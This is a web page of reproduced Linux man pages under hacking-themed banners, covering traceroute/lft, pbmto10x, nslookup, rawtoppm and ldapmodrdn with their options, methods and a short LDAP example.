  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1524 - Linux cli command lft.db

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command lft.db and provides detailed information about the command lft.db, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the lft.db.

NAME 🖥️ lft.db 🖥️

print the route packets trace to network host

SYNOPSIS

traceroute [-46dFITUnreAV] [-f first_ttl] [-g gate,…]

[-i device] [-m max_ttl] [-p port] [-s src_addr]

[-q nqueries] [-N squeries] [-t tos]

[-l flow_label] [-w waittimes] [-z sendwait] [-UL] [-D]

[-P proto] [–sport=port] [-M method] [-O mod_options]

[–mtu] [–back]

host [packet_len]
traceroute6 [options]
tcptraceroute [options]
lft [options]

DESCRIPTION

traceroute tracks the route packets taken from an IP network on their way to a given host. It utilizes the IP protocol’s time to live (TTL) field and attempts to elicit an ICMP TIME_EXCEEDED response from each gateway along the path to the host.

traceroute6 is equivalent to traceroute -6

tcptraceroute is equivalent to traceroute -T

lft , the Layer Four Traceroute, performs a TCP traceroute, like traceroute -T , but attempts to provide compatibility with the original such implementation, also called “lft”.

The only required parameter is the name or IP address of the destination host . The optional packet_len`gth is the total size of the probing packet (default 60 bytes for IPv4 and 80 for IPv6). The specified size can be ignored in some situations or increased up to a minimal value.

This program attempts to trace the route an IP packet would follow to some internet host by launching probe packets with a small ttl (time to live) then listening for an ICMP “time exceeded” reply from a gateway. We start our probes with a ttl of one and increase by one until we get an ICMP “port unreachable” (or TCP reset), which means we got to the “host”, or hit a max (which defaults to 30 hops). Three probes (by default) are sent at each ttl setting and a line is printed showing the ttl, address of the gateway and round trip time of each probe. The address can be followed by additional information when requested. If the probe answers come from different gateways, the address of each responding system will be printed. If there is no response within a certain timeout, an “*” (asterisk) is printed for that probe.

After the trip time, some additional annotation can be printed: !H, !N, or !P (host, network or protocol unreachable), !S (source route failed), !F (fragmentation needed), !X (communication administratively prohibited), !V (host precedence violation), !C (precedence cutoff in effect), or !<num> (ICMP unreachable code <num>). If almost all the probes result in some kind of unreachable, traceroute will give up and exit.

We don’t want the destination host to process the UDP probe packets, so the destination port is set to an unlikely value (you can change it with the -p flag). There is no such a problem for ICMP or TCP tracerouting (for TCP we use half-open technique, which prevents our probes to be seen by applications on the destination host).

In the modern network environment the traditional traceroute methods can not be always applicable, because of widespread use of firewalls. Such firewalls filter the “unlikely” UDP ports, or even ICMP echoes. To solve this, some additional tracerouting methods are implemented (including tcp), see LIST OF AVAILABLE METHODS below. Such methods try to use particular protocol and source/destination port, in order to bypass firewalls (to be seen by firewalls just as a start of allowed type of a network session).

OPTIONS

–help
Print help info and exit.

-4, -6
Explicitly force IPv4 or IPv6 tracerouting. By default, the program will try to resolve the name given, and choose the appropriate protocol automatically. If resolving a host name returns both IPv4 and IPv6 addresses, traceroute will use IPv4.

-I, –icmp
Use ICMP ECHO for probes

-T, –tcp
Use TCP SYN for probes

-d, –debug
Enable socket level debugging (when the Linux kernel supports it)

-F, –dont-fragment
Do not fragment probe packets. (For IPv4 it also sets DF bit, which tells intermediate routers not to fragment remotely as well).

Varying the size of the probing packet by the packet_len command line parameter, you can manually obtain information about the MTU of individual network hops. The –mtu option (see below) tries to do this automatically.

Note, that non-fragmented features (like -F or –mtu) work properly since the Linux kernel 2.6.22 only. Before that version, IPv6 was always fragmented, IPv4 could use the once the discovered final mtu only (from the route cache), which can be less than the actual mtu of a device.

-f* first_ttl***, –first=**first_ttl
Specifies with what TTL to start. Defaults to 1.

-g* gateway***, –gateway=gateway
Tells traceroute to add an IP source routing option to the outgoing packet that tells the network to route the packet through the specified gateway (most routers have disabled source routing for security reasons). In general, several gateway’s is allowed (comma separated). For IPv6, the form of num
,addr,**addr… is allowed, where num is a route header type (default is type 2). Note the type 0 route header is now deprecated (rfc5095).

-i* interface***, –interface=**interface
Specifies the interface through which traceroute should send packets. By default, the interface is selected according to the routing table.

-m* max_ttl***, –max-hops=**max_ttl
Specifies the maximum number of hops (max time-to-live value) traceroute will probe. The default is 30.

-N* squeries***, –sim-queries=**squeries
Specifies the number of probe packets sent out simultaneously. Sending several probes concurrently can speed up traceroute considerably. The default value is 16.
Note that some routers and hosts can use ICMP rate throttling. In such a situation specifying too large number can lead to loss of some responses.

-n
Do not try to map IP addresses to host names when displaying them.

-p* port***, –port=**port
For UDP tracing, specifies the destination port base traceroute will use (the destination port number will be incremented by each probe).
For ICMP tracing, specifies the initial ICMP sequence value (incremented by each probe too).
For TCP and others specifies just the (constant) destination port to connect. When using the tcptraceroute wrapper, -p specifies the source port.

-t* tos***, –tos=**tos
For IPv4, set the Type of Service (TOS) and Precedence value. Useful values are 16 (low delay) and 8 (high throughput). Note that in order to use some TOS precedence values, you have to be super user.
For IPv6, set the Traffic Control value.

-l* flow_label***, –flowlabel=**flow_label
Use specified flow_label for IPv6 packets.

-w* max[*,here,near], –wait=*max[,here,*near]
Determines how long to wait for a response to a probe.

There are three (in general) float values separated by a comma (or a slash). Max specifies the maximum time (in seconds, default 5.0) to wait, in any case.

Traditional traceroute implementation always waited whole max seconds for any probe. But if we already have some replies from the same hop, or even from some next hop, we can use the round trip time of such a reply as a hint to determine the actual reasonable amount of time to wait.

The optional here (default 3.0) specifies a factor to multiply the round trip time of an already received response from the same hop. The resulting value is used as a timeout for the probe, instead of (but no more than) max. The optional near (default 10.0) specifies a similar factor for a response from some next hop. (The time of the first found result is used in both cases).

First, we look for the same hop (of the probe which will be printed first from now). If nothing found, then look for some next hop. If nothing found, use max. If here and/or near have zero values, the corresponding computation is skipped.
Here and near are always set to zero if only max is specified (for compatibility with previous versions).

-q* nqueries***, –queries=**nqueries
Sets the number of probe packets per hop. The default is 3.

-r
Bypass the normal routing tables and send directly to a host on an attached network. If the host is not on a directly-attached network, an error is returned. This option can be used to ping a local host through an interface that has no route through it.

-s* source_addr***, –source=**source_addr
Chooses an alternative source address. Note that you must select the address of one of the interfaces. By default, the address of the outgoing interface is used.

-z* sendwait***, –sendwait=**sendwait
Minimal time interval between probes (default 0). If the value is more than 10, then it specifies a number in milliseconds, else it is a number of seconds (float point values allowed too). Useful when some routers use rate-limit for ICMP messages.

-e, –extensions
Show ICMP extensions (rfc4884). The general form is CLASS*/TYPE:*** followed by a hexadecimal dump. The MPLS (rfc4950) is shown parsed, in a form: MPLS:L=label,E=exp_use,S=stack_bottom,T=TTL (more objects separated by / ). The Interface Information (rfc5837) is shown parsed as well, in a following form: {INC|SUB|OUT|NXT}:index,IP_addr,"name",mtu=MTU (all four fields may be missing).

-A, –as-path-lookups
Perform AS path lookups in routing registries and print results directly after the corresponding addresses.

-V, –version
Print the version and exit.

There are additional options intended for advanced usage (such as alternate trace methods etc.):

–sport=port
Chooses the source port to use. Implies -N 1 -w 5 . Normally source ports (if applicable) are chosen by the system.

–fwmark=mark
Set the firewall mark for outgoing packets (since the Linux kernel 2.6.25).

-M* method***, –module=name
Use specified method for traceroute operations. Default traditional udp method has name default, icmp (
-I**)" and tcp (-T)" have names icmp and tcp respectively.
Method-specific options can be passed by -O . Most methods have their simple shortcuts, (-I means -M icmp, etc).

-O* option***, –options=**options
Specifies some method-specific option. Several options are separated by comma (or use several -O on cmdline). Each method may have its own specific options, or many not have them at all. To print information about available options, use -O help.

-U, –udp
Use UDP to particular destination port for tracerouting (instead of increasing the port per each probe). Default port is 53 (dns).

-UL
Use UDPLITE for tracerouting (default port is 53).

-D, –dccp
Use DCCP Requests for probes.

-P* protocol***, –protocol=**protocol
Use raw packet of specified protocol for tracerouting. Default protocol is 253 (rfc3692).

–mtu
Discover MTU along the path being traced. Implies -F -N 1. New mtu is printed once in a form of F=NUM at the first probe of a hop which requires such mtu to be reached. (Actually, the correspond “frag needed” icmp message normally is sent by the previous hop).

Note, that some routers might cache once the seen information on a fragmentation. Thus you can receive the final mtu from a closer hop. Try to specify an unusual tos by -t , this can help for one attempt (then it can be cached there as well).
See -F option for more info.

–back
Print the number of backward hops when it seems different with the forward direction. This number is guessed in assumption that remote hops send reply packets with initial ttl set to either 64, or 128 or 255 (which seems a common practice). It is printed as a negate value in a form of ‘-NUM’ .

LIST OF AVAILABLE METHODS

In general, a particular traceroute method may have to be chosen by -M name, but most of the methods have their simple cmdline switches (you can see them after the method name, if present).

default

The traditional, ancient method of tracerouting. Used by default.

Probe packets are udp datagrams with so-called “unlikely” destination ports. The “unlikely” port of the first probe is 33434, then for each next probe it is incremented by one. Since the ports are expected to be unused, the destination host normally returns “icmp unreach port” as a final response. (Nobody knows what happens when some application listens for such ports, though).

This method is allowed for unprivileged users.

icmp -I

Most usual method for now, which uses icmp echo packets for probes.
If you can ping(8) the destination host, icmp tracerouting is applicable as well.

This method may be allowed for unprivileged users since the kernel 3.0 (IPv4, for IPv6 since 3.11), which supports new dgram icmp (or “ping”) sockets. To allow such sockets, sysadmin should provide net/ipv4/ping_group_range sysctl range to match any group of the user.
Options:

raw
Use only raw sockets (the traditional way).
This way is tried first by default (for compatibility reasons), then new dgram icmp sockets as fallback.

dgram
Use only dgram icmp sockets.

tcp -T

Well-known modern method, intended to bypass firewalls.
Uses the constant destination port (default is 80, http).

If some filters are present in the network path, then most probably any “unlikely” udp ports (as for default method) or even icmp echoes (as for icmp) are filtered, and whole tracerouting will just stop at such a firewall. To bypass a network filter, we have to use only allowed protocol/port combinations. If we trace for some, say, mailserver, then more likely -T -p 25 can reach it, even when -I can not.

This method uses well-known “half-open technique”, which prevents applications on the destination host from seeing our probes at all. Normally, a tcp syn is sent. For non-listened ports we receive tcp reset, and all is done. For active listening ports we receive tcp syn+ack, but answer by tcp reset (instead of expected tcp ack), this way the remote tcp session is dropped even without the application ever taking notice.

There is a couple of options for tcp method:

syn,ack,fin,rst,psh,urg,ece,cwr
Sets specified tcp flags for probe packet, in any combination.

flags=num
Sets the flags field in the tcp header exactly to num.

ecn
Send syn packet with tcp flags ECE and CWR (for Explicit Congestion Notification, rfc3168).

sack,timestamps,window_scaling
Use the corresponding tcp header option in the outgoing probe packet.

sysctl
Use current sysctl (/proc/sys/net/*) setting for the tcp header options above and ecn. Always set by default, if nothing else specified.

fastopen
Use fastopen tcp option (when syn), for initial cookie negotiation only.

mss=[num]
Use value of num (or unchanged) for maxseg tcp header option (when syn), and discover its clamping along the path being traced. New changed mss is printed once in a form of M=NUM at the first probe on which it was detected. Note, some routers may return too short original fragment in the time exceeded message, making the check impossible. Besides that the responses may come in a different order. All this can lead to a later place of the report (using -N 1 can help for the order).

info
Print tcp flags and supported options of final tcp replies when the target host is reached. Allows to determine whether an application listens the port and other useful things. Supported tcp options are all that can be set by -T -O, ie. mss, sack, timestamps, window_scaling and fastopen, with the similar output format (a value for mss and just presence for others).

Default options is syn,sysctl.

tcpconn

An initial implementation of tcp method, simple using connect(2) call, which does full tcp session opening. Not recommended for normal use, because a destination application is always affected (and can be confused).

udp -U

Use udp datagram with constant destination port (default 53, dns).
Intended to bypass firewall as well.

Note, that unlike in tcp method, the correspond application on the destination host always receive our probes (with random data), and most can easily be confused by them. Most cases it will not respond to our packets though, so we will never see the final hop in the trace. (Fortunately, it seems that at least dns servers replies with something angry).

This method is allowed for unprivileged users.

udplite -UL

Use udplite datagram for probes (with constant destination port, default 53).

This method is allowed for unprivileged users.
Options:

coverage=num
Set udplite send coverage to num.

dccp -D

Use DCCP Request packets for probes (rfc4340).

This method uses the same “half-open technique” as used for TCP. The default destination port is 33434.

Options:

service=num
Set DCCP service code to num (default is 1885957735).

raw -P proto

Send raw packet of protocol proto.
No protocol-specific headers are used, just IP header only.
Implies -N 1 -w 5 .
Options:

protocol=proto
Use IP protocol proto (default 253).

NOTES

To speed up work, normally several probes are sent simultaneously. On the other hand, it creates a “storm of packages”, especially in the reply direction. Routers can throttle the rate of icmp responses, and some of replies can be lost. To avoid this, decrease the number of simultaneous probes, or even set it to 1 (like in initial traceroute implementation), i.e. -N 1

The final (target) host can drop some of the simultaneous probes, and might even answer only the latest ones. It can lead to extra “looks like expired” hops near the final hop. We use a smart algorithm to auto-detect such a situation, but if it cannot help in your case, just use -N 1 too.

For even greater stability you can slow down the program’s work by -z option, for example use -z 0.5 for half-second pause between probes.

To avoid an extra waiting, we use adaptive algorithm for timeouts (see -w option for more info). It can lead to premature expiry (especially when response times differ at times) and printing “*” instead of a time. In such a case, switch this algorithm off, by specifying -w with the desired timeout only (for example, -w 5).

If some hops report nothing for every method, the last chance to obtain something is to use ping -R command (IPv4, and for nearest 8 hops only).

SEE ALSO

ping(8), ping6(8), tcpdump(8), netstat(8)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1525 - Linux cli command pbmto10x

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pbmto10x and provides detailed information about the command pbmto10x, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pbmto10x.

.

NAME 🖥️ pbmto10x 🖥️

convert a PBM image into Gemini 10X printer graphics

SYNOPSIS

pbmto10x [-h] [pbmfile]

DESCRIPTION

This program is part of Netpbm(1) .

pbmto10x reads a PBM image as input and produces a file of Gemini 10X printer graphics as output. The 10x’s printer codes are alleged to be similar to the Epson codes.

Note that there is no 10xtopbm tool - this transformation is one way.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pbmto10x recognizes the following command line option:

-h
The resolution is normally 60H by 72V. If you specify the -h option, resolution is 120H by 144V. You may find it useful to rotate landscape images before printing.

SEE ALSO

pbm(1)

AUTHOR

Copyright (C) 1990 by Ken Yap

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pbmto10x.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1526 - Linux cli command nslookup

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command nslookup and provides detailed information about the command nslookup, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the nslookup.

NAME 🖥️ nslookup 🖥️

query Internet name servers interactively

SYNOPSIS

nslookup [-option] [name | -] [server]

DESCRIPTION

nslookup is a program to query Internet domain name servers. nslookup has two modes: interactive and non-interactive. Interactive mode allows the user to query name servers for information about various hosts and domains or to print a list of hosts in a domain. Non-interactive mode prints just the name and requested information for a host or domain.

ARGUMENTS

Interactive mode is entered in the following cases:

  1. when no arguments are given (the default name server is used);

  2. when the first argument is a hyphen (-) and the second argument is the host name or Internet address of a name server.

Non-interactive mode is used when the name or Internet address of the host to be looked up is given as the first argument. The optional second argument specifies the host name or address of a name server.

Options can also be specified on the command line if they precede the arguments and are prefixed with a hyphen. For example, to change the default query type to host information, with an initial timeout of 10 seconds, type:

nslookup -query=hinfo -timeout=10

The -version option causes nslookup to print the version number and immediately exit.

INTERACTIVE COMMANDS

host [server]
This command looks up information for host using the current default server or using server, if specified. If host is an Internet address and the query type is A or PTR, the name of the host is returned. If host is a name and does not have a trailing period (.), the search list is used to qualify the name.

To look up a host not in the current domain, append a period to the name.

server domain | lserver domain
These commands change the default server to domain; lserver uses the initial server to look up information about domain, while server uses the current default server. If an authoritative answer cannot be found, the names of servers that might have the answer are returned.

root
This command is not implemented.

finger
This command is not implemented.

ls
This command is not implemented.

view
This command is not implemented.

help
This command is not implemented.

?
This command is not implemented.

exit
This command exits the program.

set keyword[=value]
This command is used to change state information that affects the lookups. Valid keywords are:

all
This keyword prints the current values of the frequently used options to set. Information about the current default server and host is also printed.

class=value
This keyword changes the query class to one of:

IN
the Internet class

CH
the Chaos class

HS
the Hesiod class

ANY
wildcard

The class specifies the protocol group of the information. The default is IN; the abbreviation for this keyword is cl.

nodebug
This keyword turns on or off the display of the full response packet, and any intermediate response packets, when searching. The default for this keyword is nodebug; the abbreviation for this keyword is [no]deb.

nod2
This keyword turns debugging mode on or off. This displays more about what nslookup is doing. The default is nod2.

domain=name
This keyword sets the search list to name.

nosearch
If the lookup request contains at least one period, but does not end with a trailing period, this keyword appends the domain names in the domain search list to the request until an answer is received. The default is search.

port=value
This keyword changes the default TCP/UDP name server port to value from its default, port 53. The abbreviation for this keyword is po.

querytype=value | type=value
This keyword changes the type of the information query to value. The defaults are A and then AAAA; the abbreviations for these keywords are q and ty.

Please note that it is only possible to specify one query type. Only the default behavior looks up both when an alternative is not specified.

norecurse
This keyword tells the name server to query other servers if it does not have the information. The default is recurse; the abbreviation for this keyword is [no]rec.

ndots=number
This keyword sets the number of dots (label separators) in a domain that disables searching. Absolute names always stop searching.

retry=number
This keyword sets the number of retries to number.

timeout=number
This keyword changes the initial timeout interval to wait for a reply to number, in seconds.

novc
This keyword indicates that a virtual circuit should always be used when sending requests to the server. novc is the default.

nofail
This keyword tries the next nameserver if a nameserver responds with SERVFAIL or a referral (nofail), or terminates the query (fail) on such a response. The default is nofail.

RETURN VALUES

nslookup returns with an exit status of 1 if any query failed, and 0 otherwise.

IDN SUPPORT

If nslookup has been built with IDN (internationalized domain name) support, it can accept and display non-ASCII domain names. nslookup appropriately converts character encoding of a domain name before sending a request to a DNS server or displaying a reply from the server. To turn off IDN support, define the IDN_DISABLE environment variable. IDN support is disabled if the variable is set when nslookup runs, or when the standard output is not a tty.

FILES

/etc/resolv.conf

SEE ALSO

dig(1), host(1), named(8).

AUTHOR

Internet Systems Consortium

COPYRIGHT

2024, Internet Systems Consortium

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1527 - Linux cli command rawtoppm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command rawtoppm and provides detailed information about the command rawtoppm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the rawtoppm.

.

NAME 🖥️ rawtoppm 🖥️

convert a stream of raw RGB bytes to a PPM image

SYNOPSIS

rawtoppm

[-headerskip N]

[-rowskip N]

[ -rgb|-rbg|-grb |-gbr|-brg|-bgr ]

[-interpixel|-interrow] width height

[imagedata]

DESCRIPTION

This program is part of Netpbm(1) .

rawtoppm reads raw RGB bytes as input and produces a PPM image as output. The input file is just RGB bytes. You have to specify the width and height on the command line, since the program obviously can’t get them from the file. rawtoppm assumes the maxval of the input samples is 255, and makes the maxval of the output PPM 255.

rawtoppm assumes the pixels come top first in the input stream. If they are actually bottom first, the resulting PPM is upside down, so run it through pamflip -tb.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), rawtoppm recognizes the following command line options:

-headerskip
Skip over this many bytes at the beginning of the input stream. Use this option when the input has some kind of header followed by a raster suitable for rawtoppm.

-rowskip
Skip this many bytes at the end of each row of the raster. (Some input streams have padding at the end of rows).

-rgb -rbg -grb -gbr -brg -bgr
This option specifies the order of the color components for each pixel. The default is -rgb.

-interpixel -interrow
These options specify how the colors are interleaved. The default is -interpixel, meaning interleaved by pixel. A byte of red, a byte of green, and a byte of blue, or whatever color order you specified. -interrow means interleaved by row - a row of red, a row of green, a row of blue, assuming standard rgb color order. An -interplane option - all the red pixels, then all the green, then all the blue - would be an obvious extension, but is not implemented. You could get the same effect by splitting the file into three parts (perhaps using dd), turning each part into a PGM file with rawtopgm, and then combining them with rgb3toppm.

SEE ALSO

ppm(1) , rawtopgm(1) , rgb3toppm(1) , pamflip(1)

AUTHOR

Copyright (C) 1991 by Jef Poskanzer.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/rawtoppm.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1528 - Linux cli command ldapmodrdn

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ldapmodrdn and provides detailed information about the command ldapmodrdn, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ldapmodrdn.

NAME 🖥️ ldapmodrdn 🖥️

LDAP rename entry tool

SYNOPSIS

ldapmodrdn [ -V[V]] [ -d* debuglevel]* [ -n] [ -v] [ -r] [ -s* newsup]* [ -c] [ -f* file]* [ -M[M]] [ -x] [ -D* binddn]* [ -W] [ -w* passwd]* [ -y* passwdfile]* [ -H* ldapuri]* [ -P {2 | 3}] [ -e [!]ext[=extparam]] [ -E [!]ext[=extparam]] [ -o* opt***[=optparam]]** [ -O* security-properties]* [ -I] [ -Q] [ -N] [ -U* authcid]* [ -R* realm]* [ -X* authzid]* [ -Y* mech]* [ -Z[Z]] [ dn rdn]

DESCRIPTION

ldapmodrdn is a shell-accessible interface to the ldap_rename(3) library call.

ldapmodrdn opens a connection to an LDAP server, binds, and modifies the RDN of entries. The entry information is read from standard input, from file through the use of the -f option, or from the command-line pair dn and rdn.

OPTIONS

-V[V]
Print version info. If -VV is given, only the version information is printed.

-d* debuglevel*
Set the LDAP debugging level to debuglevel. ldapmodrdn must be compiled with LDAP_DEBUG defined for this option to have any effect.

-n
Show what would be done, but don’t actually change entries. Useful for debugging in conjunction with -v.

-v
Use verbose mode, with many diagnostics written to standard output.

-r
Remove old RDN values from the entry. Default is to keep old values.

-s* newsup*
Specify a new superior entry. (I.e., move the target entry and make it a child of the new superior.) This option is not supported in LDAPv2.

-c
Continuous operation mode. Errors are reported, but ldapmodrdn will continue with modifications. The default is to exit after reporting an error.

-f* file*
Read the entry modification information from file instead of from standard input or the command-line.

-M[M]
Enable manage DSA IT control. -MM makes control critical.

-x
Use simple authentication instead of SASL.

-D* binddn*
Use the Distinguished Name binddn to bind to the LDAP directory. For SASL binds, the server is expected to ignore this value.

-W
Prompt for simple authentication. This is used instead of specifying the password on the command line.

-w* passwd*
Use passwd as the password for simple authentication.

-y* passwdfile*
Use complete contents of passwdfile as the password for simple authentication.

-H* ldapuri*
Specify URI(s) referring to the ldap server(s); only the protocol/host/port fields are allowed; a list of URI, separated by whitespace or commas is expected.

-P {2 | 3}
Specify the LDAP protocol version to use.

-e [!]ext[=extparam]
-E [!]ext[=extparam]
Specify general extensions with -e and modrdn extensions with -E. ‘!’ indicates criticality.

General extensions:

  [!]assert=<filter>    (an RFC 4515 Filter)
  !authzid=<authzid>    ("dn:<dn>" or "u:<user>")
  [!]bauthzid           (RFC 3829 authzid control)
  [!]chaining[=<resolve>[/<cont>]]
  [!]manageDSAit
  [!]noop
  ppolicy
  [!]postread[=<attrs>] (a comma-separated attribute list)
  [!]preread[=<attrs>]  (a comma-separated attribute list)
  [!]relax
  sessiontracking[=<username>]
  abandon,cancel,ignore (SIGINT sends abandon/cancel,
  or ignores response; if critical, doesn't wait for SIGINT.
  not really controls)

Modrdn extensions:

  (none)

-o* opt***[=optparam]**
Specify any ldap.conf(5) option or one of the following:

  nettimeout=<timeout>  (in seconds, or "none" or "max")
  ldif_wrap=<width>     (in columns, or "no" for no wrapping)

-O* security-properties*
Specify SASL security properties.

-I
Enable SASL Interactive mode. Always prompt. Default is to prompt only as needed.

-Q
Enable SASL Quiet mode. Never prompt.

-N
Do not use reverse DNS to canonicalize SASL host name.

-U* authcid*
Specify the authentication ID for SASL bind. The form of the ID depends on the actual SASL mechanism used.

-R* realm*
Specify the realm of authentication ID for SASL bind. The form of the realm depends on the actual SASL mechanism used.

-X* authzid*
Specify the requested authorization ID for SASL bind. authzid must be one of the following formats: dn:<distinguished name> or u:<username>

-Y* mech*
Specify the SASL mechanism to be used for authentication. If it’s not specified, the program will choose the best mechanism the server knows.

-Z[Z]
Issue StartTLS (Transport Layer Security) extended operation. If you use -ZZ, the command will require the operation to be successful.

INPUT FORMAT

If the command-line arguments dn and rdn are given, rdn will replace the RDN of the entry specified by the DN, dn.

Otherwise, the contents of file (or standard input if no -f flag is given) should consist of one or more entries.

    Distinguished Name (DN)
    Relative Distinguished Name (RDN)

One or more blank lines may be used to separate each DN/RDN pair.

EXAMPLE

Assuming that the file /tmp/entrymods exists and has the contents:

    cn=Modify Me,dc=example,dc=com
    cn=The New Me

the command:

    ldapmodrdn -r -f /tmp/entrymods

will change the RDN of the “Modify Me” entry from “Modify Me” to “The New Me” and the old cn, “Modify Me” will be removed.

DIAGNOSTICS

Exit status is 0 if no errors occur. Errors result in a non-zero exit status and a diagnostic message being written to standard error.

SEE ALSO

ldapadd(1), ldapdelete(1), ldapmodify(1), ldapsearch(1), ldap.conf(5), ldap(3), ldap_rename(3)

AUTHOR

The OpenLDAP Project <http://www.openldap.org/>

ACKNOWLEDGEMENTS

OpenLDAP Software is developed and maintained by The OpenLDAP Project <http://www.openldap.org/>. OpenLDAP Software is derived from the University of Michigan LDAP 3.3 Release.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

